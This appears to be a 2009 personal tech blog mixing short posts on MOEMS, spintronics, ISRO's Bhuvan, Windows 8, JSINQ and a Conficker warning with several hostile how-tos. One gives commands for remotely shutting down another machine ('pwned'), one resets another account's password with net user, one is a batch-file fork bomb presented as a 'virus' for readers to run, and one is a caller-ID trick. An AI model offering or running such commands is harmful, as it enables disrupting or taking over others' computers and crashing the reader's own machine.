Friday, August 28, 2009

Micro-opto-electromechanical systems (MOEMS)

Micro-opto-electromechanical systems (MOEMS) are a special class of Micro-electro-mechanical systems (MEMS) which involves sensing or manipulating optical signals on a very small size scale using integrated mechanical and electrical systems. MOEMS includes a wide variety of devices including optical switch, optical cross-connect, tunable VCSEL, microbolometers amongst others. These devices are usually fabricated using standard micromachining technologies using materials like silicon, silicon dioxide, silicon nitride and gallium arsenide.

for more : http://en.wikipedia.org/wiki/Micro-opto-electromechanical_systems

Spintronics -new emerging Technology

Spintronics (a neologism meaning "spin transport electronics"[1][2]), also known as magnetoelectronics, is an emerging technology that exploits the intrinsic spin of electrons and its associated magnetic moment, in addition to its fundamental electronic charge, in solid-state devices.


The storage density of hard drives is rapidly increasing along an exponential growth curve, in part because spintronics-enabled devices like GMR and TMR sensors have increased the sensitivity of the read head which measures the magnetic state of small magnetic domains (bits) on the spinning platter. The doubling period for the areal density of information storage is twelve months, much shorter than Moore's Law, which observes that the number of transistors that can cheaply be incorporated in an integrated circuit doubles every two years.

MRAM, or magnetic random access memory, uses a grid of magnetic storage elements called magnetic tunnel junctions (MTJ's). MRAM is nonvolatile (unlike charge-based DRAM in today's computers) so information is stored even when power is turned off, potentially providing instant-on computing. Motorola has developed a 1st generation 256 kb MRAM based on a single magnetic tunnel junction and a single transistor and which has a read/write cycle of under 50 nanoseconds[9] (Everspin, Motorola's spin-off, has since developed a 4 Mbit version[10]). There are two 2nd generation MRAM techniques currently in development: Thermal Assisted Switching (TAS)[11] which is being developed by Crocus Technology, and Spin Torque Transfer (STT) on which Crocus, Hynix, IBM, and several other companies are working[12].

Another design in development, called Racetrack memory, encodes information in the direction of magnetization between domain walls of a ferromagnetic metal wire.


for more http://en.wikipedia.org/wiki/Spintronics

Wednesday, August 26, 2009

call any to them own no. try it.

u can call any one by his own no.

firstly u registered himself to Mobivox.com and
then u call

sure that calling no. aur caller no. must be same

Tuesday, August 25, 2009

Protect yourself from Conficker, Dengerous

The Conficker worm is a computer worm that can infect your computer and spread itself to other computers across a network automatically, without human interaction.


for detail visit

http://www.microsoft.com/security/worms/conficker.aspx

this information is useful for all net users

it become more dengerous from today....
so be aware

lalit samar

shutdown through remote tutorial

shutdown /r /t 2 /m \\192.168.10.3

if u get error

then type
net use \\192.168.10.3 /user:administrator

note : u need to know the other terminal password... not only to admin u can shutdown admin righted accounts too

execute previous command within 2 seconds .... pwned

for more

shutdown /i



change password tutorial

type
net user

to see how many user accounts

say example if we ve user named firefox and u r in chrome account Note : u must be ve admin rights and u r not supposed to log into account named firefox
type

net user firefox *

it shows lik

Type a password for the user:
Retype the password to confirm:

ve ur own password

Sunday, August 23, 2009

ISRO’s Bhuvan to beat Google Earth

ISRO is working on an ambitious project called Bhuvan (means Earth), a satellite mapping tool. Bhuvan allows you to zoom far closer than the aerial view from a chopper. If Google Earth shows details upto 200 metres distance and Wikimapia upto 50 metres, Bhuvan will show images upto 10 metres, which means you can easily see details upto a three floor high building and also add information.

Saturday, August 22, 2009

You just try it..a smallest Virus for u

open notepad
copy this code to notepad and save as batch file(.bat).
code:
start
%0
began :s

now run this file

its amazing guys.....

Friday, August 21, 2009

Windows 8 – Life After Windows 7

Windows 8 – Life After Windows 7

Windows 7 not the last dedicated Microsoft OS. ... the company is also looking forward to the next version of Windows. Which is windows 8

Write SQL-like Queries in JavaScript

Developer |
Just as LINQ allows you to write SQL-like queries against objects in .NET, JSINQ facilitates similar queries in JavaScript